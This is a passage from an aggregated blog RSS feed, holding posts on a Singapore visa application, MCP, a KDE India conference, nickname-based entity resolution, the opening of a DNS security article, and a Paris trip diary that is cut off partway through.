      <p>Unclear whether it is possible to return a pair where one of the
components is unique, but the other one is not. <a href="#fnref:1" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
  </ol>
</div>
]]></content:encoded>
            <author>KC Sivaramakrishnan</author>
        </item>
        <item>
            <title><![CDATA[Singapore Visa Process]]></title>
            <link>https://ravidwivedi.in/posts/singapore-visa/</link>
            <guid isPermaLink="false">https://ravidwivedi.in/posts/singapore-visa/</guid>
            <pubDate>Tue, 27 May 2025 14:50:49 GMT</pubDate>
            <description><![CDATA[In November 2024, Badri and I applied for a Singapore visa to visit the country. To apply for a Singapore visa, you need to visit an authorized travel agent listed by the Singapore High Commission on their website. Unlike the Schengen visa (where only VFS can process applications), the Singapore visa has many authorized travel agents to choose from. I remember that the list mentioned as many as 25 authorized agents in Chennai. For my application, I randomly selected Ria International in Karol Bagh, New Delhi from the list.
Further, you need to apply not more than a month before your travel dates. As our travel dates were in December, we applied in the month of November.
For your reference, I submitted the following documents:
Passport
My photograph (35 mm x 45 mm)
Visa application form (Form 14A)
Cover letter to the Singapore High Commission, New Delhi
Proof of employment
Hotel booking
Flight ticket (reservations are sufficient)
Bank account statement for the last 6 months
I didn’t have my photograph in the specified dimensions, so the travel agent took my photo on the spot. The visa application was ₹2,567. Furthermore, I submitted my application on a Saturday and received a call from the travel agent on Tuesday informing me that they had received my visa from the Singapore High Commission.
The next day, I visit the travel agent’s office and picked up my passport and a black and white copy of my e-visa. Later, I downloaded a PDF of my visa from the website mentioned on it, and took a colored printout myself.
Singapore granted me a multiple-entry visa for 2 months, even though I had applied for a 4-day single-entry visa. We were planning to add more countries to this trip; therefore, a multiple-entry visa would be helpful in case we wanted to use Singapore Airport, as it has good connectivity. However, it turned out that flights from Kuala Lumpur were much cheaper than those from Singapore, so we didn’t enter Singapore again after leaving.
Badri also did the same process but entirely remotely—he posted the documents to the visa agency in Chennai, and got his e-visa in a few days followed by his original passport which was delivered by courier.
He got his photo taken in the same dimensions mentioned above, and printed as matte finish as instructed. However, the visa agents asked why his photo was looking so faded. We don’t know if they thought the matte finish was faded or what. To rectify this, Badri emailed them a digital copy of the photo to them (both the cropped version and the original) and they handled the reprinting on their end (which he never got to see).
Before entering Singapore, we had to fill an arrival card - an online form asking a few details about our trip - within 72 hours of our arrival in Singapore.
That’s it for now. Meet you in the next post.
Thanks to Badri for reviewing the draft.]]></description>
            <content:encoded><![CDATA[<p>In November 2024, Badri and I applied for a Singapore visa to visit the country. To apply for a Singapore visa, you need to visit an authorized travel agent listed by the Singapore High Commission on their website. Unlike the Schengen visa (where only VFS can process applications), the Singapore visa has many authorized travel agents to choose from. I remember that the list mentioned as many as 25 authorized agents in Chennai. For my application, I randomly selected Ria International in Karol Bagh, New Delhi from the list.</p>
<p>Further, you need to apply not more than a month before your travel dates. As our travel dates were in December, we applied in the month of November.</p>
<p>For your reference, I submitted the following documents:</p>
<ul>
<li>Passport</li>
<li>My photograph (35 mm x 45 mm)</li>
<li>Visa application form (Form 14A)</li>
<li>Cover letter to the Singapore High Commission, New Delhi</li>
<li>Proof of employment</li>
<li>Hotel booking</li>
<li>Flight ticket (reservations are sufficient)</li>
<li>Bank account statement for the last 6 months</li>
</ul>
<p>I didn&rsquo;t have my photograph in the specified dimensions, so the travel agent took my photo on the spot. The visa application was ₹2,567. Furthermore, I submitted my application on a Saturday and received a call from the travel agent on Tuesday informing me that they had received my visa from the Singapore High Commission.</p>
<p>The next day, I visit the travel agent&rsquo;s office and picked up my passport and a black and white copy of my e-visa. Later, I downloaded a PDF of my visa from the website mentioned on it, and took a colored printout myself.</p>
<p>Singapore granted me a multiple-entry visa for 2 months, even though I had applied for a 4-day single-entry visa. We were planning to add more countries to this trip; therefore, a multiple-entry visa would be helpful in case we wanted to use Singapore Airport, as it has good connectivity. However, it turned out that flights from Kuala Lumpur were much cheaper than those from Singapore, so we didn’t enter Singapore again after leaving.</p>
<p>Badri also did the same process but entirely remotely—he posted the documents to the visa agency in Chennai, and got his e-visa in a few days followed by his original passport which was delivered by courier.</p>
<p>He got his photo taken in the same dimensions mentioned above, and printed as matte finish as instructed. However, the visa agents asked why his photo was looking so faded. We don&rsquo;t know if they thought the matte finish was faded or what. To rectify this, Badri emailed them a digital copy of the photo to them (both the cropped version and the original) and they handled the reprinting on their end (which he never got to see).</p>
<p>Before entering Singapore, we had to fill an arrival card - an online form asking a few details about our trip - within 72 hours of our arrival in Singapore.</p>
<p>That&rsquo;s it for now. Meet you in the next post.</p>
<p><strong>Thanks to Badri for reviewing the draft.</strong></p>
]]></content:encoded>
            <author>Ravi Dwivedi</author>
        </item>
        <item>
            <title><![CDATA[What the National Anthem?]]></title>
            <link>https://workdone0.substack.com/p/national-anthem</link>
            <guid isPermaLink="false">https://workdone0.substack.com/p/national-anthem</guid>
            <pubDate>Sat, 24 May 2025 00:00:00 GMT</pubDate>
            <description><![CDATA[In the final episode of Game of Thrones, Tyrion Lannister asks a powerful question:]]></description>
            <content:encoded><![CDATA[In the final episode of Game of Thrones, Tyrion Lannister asks a powerful question:]]></content:encoded>
            <author>Shubham Kumar</author>
        </item>
        <item>
            <title><![CDATA[MCP seems viral]]></title>
            <link>https://nadh.in/blog/mcp-seems-viral/</link>
            <guid isPermaLink="false">https://nadh.in/blog/mcp-seems-viral/</guid>
            <pubDate>Mon, 19 May 2025 00:00:00 GMT</pubDate>
            <description><![CDATA[MCP (Model Context Protocol)[1]
 is all the rage now. Introduced by Anthropic about four months ago, it has already been accepted as an open standard and has seen widespread adoption, including by major AI companies and prominent AI tool makers. There is even a directory[2]
 listing over 13,000 MCP implementations. Technically, it is a very simple API spec that facilitates RPC-like (Remote procedure call) communication between an AI and an external system. It enables any external system to advertise its capabilities—returning information or performing various actions—allowing AI systems to dynamically and “automagically” use those capabilities via API calls.]]></description>
            <content:encoded><![CDATA[<p>MCP (Model Context Protocol)<sup><a href="https://modelcontextprotocol.io" rel="noopener">[1]</a></sup>
 is all the rage now. Introduced by Anthropic about four months ago, it has already been accepted as an open standard and has seen widespread adoption, including by major AI companies and prominent AI tool makers. There is even a directory<sup><a href="https://mcp.so" rel="noopener">[2]</a></sup>
 listing over 13,000 MCP implementations. Technically, it is a very simple API spec that facilitates RPC-like (Remote procedure call) communication between an AI and an external system. It enables any external system to advertise its capabilities&mdash;returning information or performing various actions&mdash;allowing AI systems to dynamically and &ldquo;automagically&rdquo; use those capabilities via API calls.</p>]]></content:encoded>
            <author>Kailash Nadh</author>
        </item>
        <item>
            <title><![CDATA[KDE India Conference 2025]]></title>
            <link>https://ravidwivedi.in/posts/kde-india-conference-2025/</link>
            <guid isPermaLink="false">https://ravidwivedi.in/posts/kde-india-conference-2025/</guid>
            <pubDate>Tue, 13 May 2025 17:58:18 GMT</pubDate>
            <description><![CDATA[Last month, I attended the KDE India conference in Gandhinagar, Gujarat from the 4th to the 6th of April. I made my mind to attend when Sahil told me about his plans to attend and giving a talk.
A day after my talk submission, the organizer Bhushan contacted me on Matrix and informed me that my talk had been accepted. I was also informed that KDE will cover my travel and accommodation expenses. So, I planned to attend the conference at this point. I am a longtime KDE user, so why not ;)
I arrived in Ahmedabad, the twin city of Gandhinagar, a day before the conference. The first thing that struck me as soon as I came out of the Ahmedabad airport was the heat. I felt as if I was being cooked—exactly how Bhushan put it earlier in the group chat. I took a taxi to get to my hotel, which was close to the conference venue.
Later that afternoon, I met Bhushan and Joseph. Joseph lived in Germany. Bhushan was taking him to get a SIM card, so I tagged along and got to roam around. Joseph was unsure about where to go after the conference, so I asked him what he wanted out of his trip and had conversations along that line.
Later, Vishal convinced him to go to Lucknow. Since he was adamant about taking the train, I booked a Tatkal train ticket for him to Lucknow. He was curious about how Tatkal booking works and watched me in amusement while I was booking the ticket.
The 4th of April marked the first day of the conference, with around 25 attendees. Bhushan started the day with an overview of KDE conferences in India, followed by Vishal, who discussed FOSS United’s activities. After the lunch, Joseph gave an overview of his campaign to help people switch from Windows to GNU/Linux due to environmental and security reasons. He continued his session in detail the next day.

      
Conference hall
A key takeaway for me from Joseph’s session was the idea pointed out by Adwaith: marketing GNU/Linux as a cheap alternative may not attract as much attention as marketing it as a status symbol. He gave the example of how the Tata Nano didn’t do well in the Indian market due to being perceived as a poor person’s car.
My talk was scheduled for the evening of the first day. I hadn’t prepared any slides because I wanted to make my session interactive. During my talk, I did an activity with the attendees to demonstrate the federated nature of XMPP messaging, of which Prav is a part. After the talk, I got a lot of questions, signalling engagement. The audience was cooperative (just like Prav ;)), contrary to my expectations (I thought they will be tired and sleepy).
On the third day, I did a demo on editing OpenStreetMap (referred to as “OSM” in short) using the iD editor. It involved adding points to OSM based on the students’ suggestions. Since my computer didn’t have an HDMI port, I used Subin’s computer, and he logged into his OSM account for my session. Therefore, any mistakes I made will be under Subin’s name. :)
On the third day, I attended Aaruni’s talk about backing up a GNU/Linux system. This was the talk that resonated with me the most. He suggested formatting the system with the btrfs file system during the installation, which helps in taking snapshots of the system and provides an easy way to roll back to a previous version if, for example, a file is accidentally deleted. I have tried many backup techniques, including this one, but I never tried backing up on the internal disk. I’ll certainly give this a try.
A conference is not only about the talks, that’s why we had a Prav table as well ;) Just kidding. What I really mean is that a conference is more about interactions than talks. Since the conference was a three-day affair, attendees got plenty of time to bond and share ideas.

      
Prav stall at the conference

      
Conference group photo
After the conference, Bhushan took us to Adalaj Stepwell, an attraction near Gandhinagar. Upon entering the complex, we saw a park where there were many langurs. Going further, there were stairs that led down to a well. I guess this is why it is called a stepwell.

      
Adalaj Stepwell
Later that day, we had Gujarati Thali for dinner. It was an all-you-can-eat buffet and was reasonably priced at 300 rupees per plate. Aamras (Mango juice) was the highlight for me. This was the only time we had Gujarati food during this visit. After the dinner, Aaruni dropped Sahil and I off at the airport. The hospitality was superb - for instance, in addition to Aaruni dropping us, Bhushan also picked up some of the attendees from the airport.
Finally, I would like to thank KDE for sponsoring my travel and accommodation costs.
Let’s wrap up this post here and meet you in the next one.
Thanks to contrapunctus and Joseph for proofreading.]]></description>
            <content:encoded><![CDATA[<p>Last month, I attended the KDE India conference in Gandhinagar, Gujarat from the 4th to the 6th of April. I made my mind to attend when <a href="https://sahilister.in">Sahil</a> told me about his plans to attend and giving a talk.</p>
<p>A day after my talk submission, the organizer <a href="https://blog.bshah.in/">Bhushan</a> contacted me on Matrix and informed me that my talk had been accepted. I was also informed that KDE will cover my travel and accommodation expenses. So, I planned to attend the conference at this point. I am a longtime KDE user, so why not ;)</p>
<p>I arrived in Ahmedabad, the twin city of Gandhinagar, a day before the conference. The first thing that struck me as soon as I came out of the Ahmedabad airport was the heat. I felt as if I was being cooked—exactly how Bhushan put it earlier in the group chat. I took a taxi to get to my hotel, which was close to the conference venue.</p>
<p>Later that afternoon, I met Bhushan and Joseph. Joseph lived in Germany. Bhushan was taking him to get a SIM card, so I tagged along and got to roam around. Joseph was unsure about where to go after the conference, so I asked him what he wanted out of his trip and had conversations along that line.</p>
<p>Later, Vishal convinced him to go to Lucknow. Since he was adamant about taking the train, I booked a Tatkal train ticket for him to Lucknow. He was curious about how Tatkal booking works and watched me in amusement while I was booking the ticket.</p>
<p>The 4th of April marked the first day of the conference, with around 25 attendees. Bhushan started the day with an overview of KDE conferences in India, followed by Vishal, who discussed FOSS United&rsquo;s activities. After the lunch, Joseph gave an overview of his campaign to help people switch from Windows to GNU/Linux due to environmental and security reasons. He continued his session in detail the next day.</p>
<figure><img src="https://ravidwivedi.in/images/kde-india-conf-2025/conference-hall.avif"
    alt="Conference hall" loading="lazy"><figcaption>
      <p>Conference hall</p>
    </figcaption>
</figure>

<p>A key takeaway for me from Joseph&rsquo;s session was the idea pointed out by Adwaith: marketing GNU/Linux as a cheap alternative may not attract as much attention as marketing it as a status symbol. He gave the example of how the Tata Nano didn&rsquo;t do well in the Indian market due to being perceived as a poor person&rsquo;s car.</p>
<p>My talk was scheduled for the evening of the first day. I hadn&rsquo;t prepared any slides because I wanted to make my session interactive. During my talk, I did an activity with the attendees to demonstrate the federated nature of XMPP messaging, of which Prav is a part. After the talk, I got a lot of questions, signalling engagement. The audience was cooperative (just like Prav ;)), contrary to my expectations (I thought they will be tired and sleepy).</p>
<p>On the third day, I did a demo on editing OpenStreetMap (referred to as &ldquo;OSM&rdquo; in short) using the iD editor. It involved adding points to OSM based on the students&rsquo; suggestions. Since my computer didn&rsquo;t have an HDMI port, I used Subin&rsquo;s computer, and he logged into his OSM account for my session. Therefore, any mistakes I made will be under Subin&rsquo;s name. :)</p>
<p>On the third day, I attended Aaruni&rsquo;s talk about backing up a GNU/Linux system. This was the talk that resonated with me the most. He suggested formatting the system with the btrfs file system during the installation, which helps in taking snapshots of the system and provides an easy way to roll back to a previous version if, for example, a file is accidentally deleted. I have tried many backup techniques, including this one, but I never tried backing up on the internal disk. I&rsquo;ll certainly give this a try.</p>
<p>A conference is not only about the talks, that&rsquo;s why we had a Prav table as well ;) Just kidding. What I really mean is that a conference is more about interactions than talks. Since the conference was a three-day affair, attendees got plenty of time to bond and share ideas.</p>
<figure><img src="https://ravidwivedi.in/images/kde-india-conf-2025/prav-stall.avif"
    alt="Prav stall at the conference" loading="lazy"><figcaption>
      <p>Prav stall at the conference</p>
    </figcaption>
</figure>

<figure><img src="https://ravidwivedi.in/images/kde-india-conf-2025/group-photo.avif"
    alt="Conference group photo" loading="lazy"><figcaption>
      <p>Conference group photo</p>
    </figcaption>
</figure>

<p>After the conference, Bhushan took us to Adalaj Stepwell, an attraction near Gandhinagar. Upon entering the complex, we saw a park where there were many langurs. Going further, there were stairs that led down to a well. I guess this is why it is called a stepwell.</p>
<figure><img src="https://ravidwivedi.in/images/kde-india-conf-2025/adalaj-stepwell.avif"
    alt="Adalaj Stepwell" loading="lazy"><figcaption>
      <p>Adalaj Stepwell</p>
    </figcaption>
</figure>

<p>Later that day, we had Gujarati Thali for dinner. It was an all-you-can-eat buffet and was reasonably priced at 300 rupees per plate. Aamras (Mango juice) was the highlight for me. This was the only time we had Gujarati food during this visit. After the dinner, Aaruni dropped Sahil and I off at the airport. The hospitality was superb - for instance, in addition to Aaruni dropping us, Bhushan also picked up some of the attendees from the airport.</p>
<p>Finally, I would like to thank KDE for sponsoring my travel and accommodation costs.</p>
<p>Let&rsquo;s wrap up this post here and meet you in the next one.</p>
<p><strong>Thanks to <a href="https://contrapunctus.codeberg.page">contrapunctus</a> and Joseph for proofreading.</strong></p>
]]></content:encoded>
            <author>Ravi Dwivedi</author>
        </item>
        <item>
            <title><![CDATA[What is in a name?]]></title>
            <link>https://www.learningfromdata.zingg.ai/p/what-is-in-a-name</link>
            <guid isPermaLink="false">https://www.learningfromdata.zingg.ai/p/what-is-in-a-name</guid>
            <pubDate>Mon, 12 May 2025 06:39:09 GMT</pubDate>
            <description><![CDATA[That which we call a rose, by any other name would smell as sweet. But, will it resolve to the same entity?]]></description>
            <content:encoded><![CDATA[<p>When Shakespeare penned these famous words, he wasn't thinking about data quality or entity resolution&#8212;but the sentiment captures a fundamental challenge in modern data management. A person known as "Robert," "Rob," "Bob," or "Bobby" remains the same individual, regardless of how they're addressed in the data. Names are perhaps the most fundamental identifier we use in data systems, yet they're also among the most inconsistent. Let us consider these common scenarios:</p><ul><li><p><strong>Nicknames and diminutives</strong>: William becomes Will, Bill, or Billy</p></li><li><p><strong>Cultural variations</strong>: James in English is Diego in Spanish or Jacques in French</p></li><li><p><strong>Formal vs. informal usage</strong>: Margaret on official documents, Maggie among friends</p></li><li><p><strong>Transliterations</strong>: &#1050;&#1080;&#1090;&#1072;&#1081; (Russian) becomes Kitay in Latin script</p></li><li><p><strong>Spelling inconsistencies</strong>: Steven vs. Stephen, Catherine vs. Katherine</p></li></ul><p>These variations create significant challenges for data matching. Without proper handling, our systems might fail to recognize that Robert Smith and Bob Smith are the same person, leading to duplicated records, fragmented customer views, and inaccurate analytics. For customer-facing applications, recognizing these are the same person enables more personalized service and prevents frustrating redundancies. Regulatory frameworks require comprehensive entity resolution. Proper nickname handling helps ensure compliance with KYC (Know Your Customer), AML (Anti-Money Laundering), and GDPR requirements. False negatives&#8212;failing to match records that should be matched&#8212;can be particularly costly in fraud detection, risk and healthcare. </p><p>While it might seem straightforward to compare names for exact matches, the reality is far more complex. We already handle salutations and variations in the data. Yet, without nickname handling, many true matches go undetected. Our internal benchmarks showed that incorporating nickname matching can improve overall match rates by 10-25% in typical customer datasets. </p><p>Hence, it was time to build! Amongst the numerous approaches we considered, dictionary matching shone out for a couple of reasons. </p><ul><li><p>Name variations differ significantly across cultures. Dictionaries can be configured to prioritize certain cultural naming patterns based on the data demographics. We are doing Hebrew names in one case and English names in another. </p></li><li><p>Configurable dictionaries empower users to leverage their domain knowledge for entity resolution.</p></li><li><p>Even without user involvement, a nickname dictionary mapping formal names to their common variations is not that difficult to build in the age of LLMs. </p></li><li><p>The surrounding data points of the record like address, date of birth, contact information) can be easily validated for potential nickname matches to reduce false positives.</p></li><li><p>Different industries and use cases require different sensitivity levels. Healthcare applications might prioritize precision, while marketing applications might favor recall. A configurable dictionary helps in such cases. </p><p></p></li></ul><p>As we zeroed in on the dictionary, we realized that the approach is extensible to other domains like corporations, where mapping an IBM to International Business Machine will greatly improve matching. In the end, we built a <a href="https://docs.zingg.ai/latest/stepbystep/configuration/adv-matchtypes">MAPPING</a> match type that can even normalize categorical columns like gender, or states and countries.  </p><p>Rolling new features on running production pipelines is not trivial. For existing users, we did comprehesive A/B testing of entity resolution with and without nickname handling to quantify the improvement in their specific datasets. The results have been even better than we expected! </p><p>Names are at once the most essential and most variable identifiers in our data systems. Effective entity resolution must account for the rich complexity of how names are used in the real world. As Shakespeare suggested, a rose by any other name would indeed smell as sweet&#8212;and with Zingg's nickname matching, data systems will finally recognize that truth!</p>]]></content:encoded>
            <author>Sonal Goyal</author>
        </item>
        <item>
            <title><![CDATA[Security And Encryption In Authoritative DNS]]></title>
            <link>https://shrirangkahale.com/posts/encrypted-adns/</link>
            <guid isPermaLink="false">https://shrirangkahale.com/posts/encrypted-adns/</guid>
            <pubDate>Sun, 11 May 2025 09:43:19 GMT</pubDate>
            <description><![CDATA[Internet as we know today, emerged from ARPANET, which was a research network made by the US DoD. Technologies like TCP/IP formed the basis of ARPANET, being the the first network to use IP based communication.
ARPANET was eventually dissolved, but new networks were formed and with growing ideas and technology, The Internet was born.
People to this date are reminiscent about the days of the dot-com bubble which was a period of rapid internet growth.]]></description>
            <content:encoded><![CDATA[Internet as we know today, emerged from ARPANET, which was a research network made by the US DoD. Technologies like TCP/IP formed the basis of ARPANET, being the the first network to use IP based communication.
ARPANET was eventually dissolved, but new networks were formed and with growing ideas and technology, The Internet was born.
People to this date are reminiscent about the days of the dot-com bubble which was a period of rapid internet growth.]]></content:encoded>
            <author>Shrirang Kahale</author>
        </item>
        <item>
            <title><![CDATA[A visit to Paris]]></title>
            <link>https://ravidwivedi.in/posts/paris/</link>
            <guid isPermaLink="false">https://ravidwivedi.in/posts/paris/</guid>
            <pubDate>Mon, 05 May 2025 20:02:43 GMT</pubDate>
            <description><![CDATA[After attending the 2024 LibreOffice conference in Luxembourg, I visited Paris in October 2024.
If you are wondering whether I needed another visa to cross the border into France— I didn’t! Further, they are both also EU members, which means you don’t need to go through customs either. Thus, crossing the Luxembourg-France border is no different from crossing Indian state borders - like going from Rajasthan to Uttar Pradesh.
I took a TGV train from Luxembourg Central Station, which was within walking distance from my hostel. The train took only 2 hours and 20 minutes to cover the 300 km distance to Paris. It departed from Luxembourg at 10:00 AM and reached Paris at 12:20 PM. The ride was smooth and comfortable, arriving on time. It gave me an opportunity to see the countryside of France. I booked the train ticket online a couple of days prior through the Omio website.

      
TGV train I rode from Luxembourg to Paris
I planned the first day with my friend Joenio, whom I met upon arriving in Paris’ Gare de l’Est station, along with his wife Mari. We went to my hostel (which was within walking distance from the station) to store my luggage, but we were informed that we needed to wait for a couple of hours before I could check in. Consequently, we went to an Italian restaurant nearby for lunch, where I ordered pasta. My hostel was unbelievably cheap by French standards (25 euros per night) that Joenio was shocked when he learned about it.

      
Pasta I had in Paris
Walking in the city, I noticed it had separate cycling tracks and wide footpaths, just like Luxembourg. The traffic was also organized. For instance, there were traffic lights even for pedestrian crossings, unlike India, where crossing roads can be a nightmare. Car drivers stopping for pedestrians is a big improvement over what I am used to in India. The weather was also pleasant. It was a bit on the cooler side - around 15 degrees Celsius - and I had to wear a jacket.

      
A cycling track in Paris
After lunch, we returned to my hostel for my check-in at around 3 o’clock. Then, we went to the Luxembourg Museum (Musée du Luxembourg in French) as Joenio had booked tickets for an exhibition of paintings by the Brazilian painter Tarsila do Amaral. To reach there, we took a subway train from Gare du Nord station. The Paris subway charges 2.15 euros irrespective of the distance (or number of stations) traveled, as opposed to other metro systems I have used.
We reached the museum at around 4 o’clock. I found the paintings beautiful, but I would have appreciated them much more if the descriptions were in English.

      
Luxembourg Museum
Afterward, we went to a beautiful garden just behind the museum. It served as a great spot to relax and take pictures. Following this, we walked to the Pantheon - a well-known attraction in the city. It is a church built a couple of centuries ago. It has a dome-shaped structure at the top, recognizable from far away.

      
A shot of the park near to the Luxembourg Museum

      
Pantheon, one of the attractions of Paris.
Then we went to Notre Dame after having evening snacks and coffee at a nearby bakery. The Notre Dame was just over a kilometer from the Pantheon, so we took a walk. We also crossed the beautiful Seine river. On the way, I sampled a crêpe, a signature dish of France. The shop was named Crêperie and had many varieties of Crêpe. I took the one with eggs and Emmental cheese. It was savory and delicious.

      
Photo with Joenio and Mari

      
Notre Dame, another tourist attraction of Paris.
By the time we reached Notre Dame, it was 07:30 PM. I learned from Joenio that Notre Dame was closed and being renovated due to a fire a couple of years ago, so we just sat around and clicked photos. It is a catholic cathedral built in French Gothic architecture (I read that on Wikipedia ;)). I read on Wikipedia that it is located on an island named Île de la Cité and I didn’t even realize we are on an island.
At night, we visited the most well-known attraction of Paris, The Eiffel Tower. We again took the subway, alighting at the Bir-Hakeim station, followed by a short walk. We reached the Eiffel Tower at 9 o’clock. It was lit bright yellow. There was not much to do there, so we just clicked photos and hung out. After that, I came back to my hostel.

      
My photo with Eiffel Tower in the background
Next day, I roamed around the city by walking mostly. France is known for its bakeries, so I checked out a couple of local bakeries. I had espresso a couple of times and sampled croissant, pain au chocolat and lemon meringue tartlet.

      
Items at a bakery in Paris. Items from left to right are: Chocolate Twist, Sugar briochette, Pain au Chocolat, Croissant with almonds, Croissant, Croissant with chocolate hazlenut filling.
Here are some random shots:

      
The Paris subway

      
Inside a Paris subway

      
A random building and road in Paris

      
A shot near the Seine river

      
A view of the Seine river
On the third day, I had my flight for India. Thus, I checked out of the hostel early in the morning, took an RR train from Gare du Nord station to reach the airport. It costs 11.8 euros.
I am listing my expenses during my 3-day stay in Paris below:
Category
Amount (in euros)




Food
€40


Public Transport
€20


Accommodation (2 nights)
€50


Total
€110



I heard some of my friends had bad experiences in France. Thus, I had the impression that I would not feel welcomed. Furthermore, I have encountered language problems during my previous Europe trip in Albania and Kosovo. Likewise, I learned a couple of French words, like how to say thank you and good morning, which went a long way.
However, I didn’t have bad experiences in Paris, except for one instance in which I asked my hostel’s reception about my misplaced watch and the person at the reception asked me to be “polite” by being rude. She said, “Excuse me! You don’t know how to say Good Morning?”
Overall, I enjoyed my time in Paris and would like to thank Joenio and Mari for showing me around. I would also like to thank Sophie for giving me a map of Paris, which was handy.
Let’s end this post here. I’ll meet you in the next one!
Credits: Thanks to contrapunctus for reviewing this post before publishing]]></description>
            <content:encoded><![CDATA[<p>After attending the 2024 LibreOffice conference in Luxembourg, I visited Paris in October 2024.</p>
<p>If you are wondering whether I needed another visa to cross the border into France— I didn’t! Further, they are both also EU members, which means you don’t need to go through customs either. Thus, crossing the Luxembourg-France border is no different from crossing Indian state borders - like going from Rajasthan to Uttar Pradesh.</p>
<p>I took a TGV train from Luxembourg Central Station, which was within walking distance from my hostel. The train took only 2 hours and 20 minutes to cover the 300 km distance to Paris. It departed from Luxembourg at 10:00 AM and reached Paris at 12:20 PM. The ride was smooth and comfortable, arriving on time. It gave me an opportunity to see the countryside of France. I booked the train ticket online a couple of days prior through the Omio website.</p>
<figure><img src="https://ravidwivedi.in/images/paris/tgv.avif"
    alt="A train standing on a platform"><figcaption>
      <p>TGV train I rode from Luxembourg to Paris</p>
    </figcaption>
</figure>

<p>I planned the first day with my friend <a href="https://joenio.me">Joenio</a>, whom I met upon arriving in Paris’ Gare de l’Est station, along with his wife Mari. We went to my hostel (which was within walking distance from the station) to store my luggage, but we were informed that we needed to wait for a couple of hours before I could check in. Consequently, we went to an Italian restaurant nearby for lunch, where I ordered pasta. My hostel was unbelievably cheap by French standards (25 euros per night) that Joenio was shocked when he learned about it.</p>
<figure><img src="https://ravidwivedi.in/images/paris/pasta.avif"
    alt="Pasta on a plate topped with Ricotta cheese"><figcaption>
      <p>Pasta I had in Paris</p>
    </figcaption>
</figure>

<p>Walking in the city, I noticed it had separate cycling tracks and wide footpaths, just like Luxembourg. The traffic was also organized. For instance, there were traffic lights even for pedestrian crossings, unlike India, where crossing roads can be a nightmare. Car drivers stopping for pedestrians is a big improvement over what I am used to in India. The weather was also pleasant. It was a bit on the cooler side - around 15 degrees Celsius - and I had to wear a jacket.</p>
<figure><img src="https://ravidwivedi.in/images/paris/cycling-track.avif"
    alt="A cycling track in Paris"><figcaption>
      <p>A cycling track in Paris</p>
    </figcaption>
</figure>

<p>After lunch, we returned to my hostel for my check-in at around 3 o’clock. Then, we went to the Luxembourg Museum (Musée du Luxembourg in French) as Joenio had booked tickets for an exhibition of paintings by the Brazilian painter Tarsila do Amaral. To reach there, we took a subway train from Gare du Nord station. The Paris subway charges 2.15 euros irrespective of the distance (or number of stations) traveled, as opposed to other metro systems I have used.</p>
<p>We reached the museum at around 4 o’clock. I found the paintings beautiful, but I would have appreciated them much more if the descriptions were in English.</p>
<figure><img src="https://ravidwivedi.in/images/paris/museum.avif"
    alt="A building wit trees on the left and right side of it and sky in the background. People can be seen in front of the building."><figcaption>
      <p>Luxembourg Museum</p>
    </figcaption>
</figure>

<p>Afterward, we went to a beautiful garden just behind the museum. It served as a great spot to relax and take pictures. Following this, we walked to the Pantheon - a well-known attraction in the city. It is a church built a couple of centuries ago. It has a dome-shaped structure at the top, recognizable from far away.</p>
<figure><img src="https://ravidwivedi.in/images/paris/garden.avif"
    alt="A building with a garden in front it and people sitting closer to us. Sky can be seen in the background."><figcaption>
      <p>A shot of the park near to the Luxembourg Museum</p>
    </figcaption>
</figure>

<figure><img src="https://ravidwivedi.in/images/paris/pantheon.avif"
    alt="A building with a dome shaped structure on top. Closer to camera, roads can be seen. In the background is blue colored cloudy sky."><figcaption>
      <p>Pantheon, one of the attractions of Paris.</p>
    </figcaption>
</figure>

<p>Then we went to Notre Dame after having evening snacks and coffee at a nearby bakery. The Notre Dame was just over a kilometer from the Pantheon, so we took a walk. We also crossed the beautiful Seine river. On the way, I sampled a crêpe, a signature dish of France. The shop was named Crêperie and had many varieties of Crêpe. I took the one with eggs and Emmental cheese. It was savory and delicious.</p>
<figure><img src="https://ravidwivedi.in/images/paris/I-joenio-mari.avif"
    alt="Photo with Joenio and Mari" width="500"><figcaption>
      <p>Photo with Joenio and Mari</p>
    </figcaption>
</figure>

<figure><img src="https://ravidwivedi.in/images/paris/notre-dame.avif"
    alt="Notre Dame, another tourist attraction of Paris." width="300"><figcaption>
      <p>Notre Dame, another tourist attraction of Paris.</p>
    </figcaption>
</figure>

<p>By the time we reached Notre Dame, it was 07:30 PM. I learned from Joenio that Notre Dame was closed and being renovated due to a fire a couple of years ago, so we just sat around and clicked photos. It is a catholic cathedral built in French Gothic architecture (I read that on Wikipedia ;)). I read on Wikipedia that it is located on an island named Île de la Cité and I didn’t even realize we are on an island.</p>
<p>At night, we visited the most well-known attraction of Paris, The Eiffel Tower. We again took the subway, alighting at the Bir-Hakeim station, followed by a short walk. We reached the Eiffel Tower at 9 o’clock. It was lit bright yellow. There was not much to do there, so we just clicked photos and hung out. After that, I came back to my hostel.</p>
<figure><img src="https://ravidwivedi.in/images/paris/eiffel-tower.avif"
    alt="The Eiffel Tower lit with bright yellow" width="300"><figcaption>
      <p>My photo with Eiffel Tower in the background</p>
    </figcaption>
</figure>

<p>Next day, I roamed around the city by walking mostly. France is known for its bakeries, so I checked out a couple of local bakeries. I had espresso a couple of times and sampled croissant, pain au chocolat and lemon meringue tartlet.</p>
<figure><img src="https://ravidwivedi.in/images/paris/items-bakery.avif"
    alt="Items from left to right are: Chocolate Twist, Sugar briochette, Pain au Chocolat, Croissant with almonds, Croissant, Croissant with chocolate hazlenut filling.Items at a bakery in Paris"><figcaption>
      <p>Items at a bakery in Paris. Items from left to right are: Chocolate Twist, Sugar briochette, Pain au Chocolat, Croissant with almonds, Croissant, Croissant with chocolate hazlenut filling.</p>
    </figcaption>
</figure>

<p>Here are some random shots:</p>
<figure><img src="https://ravidwivedi.in/images/paris/subway.avif"
    alt="The Paris subway"><figcaption>
      <p>The Paris subway</p>
    </figcaption>
</figure>

<figure><img src="https://ravidwivedi.in/images/paris/interior-of-subway.avif"
    alt="Inside a Paris metro train"><figcaption>
      <p>Inside a Paris subway</p>
    </figcaption>
</figure>

<figure><img src="https://ravidwivedi.in/images/paris/building-and-road.avif"
    alt="A random building and road in Paris"><figcaption>
      <p>A random building and road in Paris</p>
    </figcaption>
</figure>

<p><figure><img src="https://ravidwivedi.in/images/paris/near-seine-river.avif"
    alt="A shot near the Seine river"><figcaption>
      <p>A shot near the Seine river</p>
    </figcaption>
</figure>

<figure><img src="https://ravidwivedi.in/images/paris/boat.avif"
    alt="A view of the Seine river"><figcaption>
      <p>A view of the Seine river</p>
    </figcaption>
</figure>
</p>
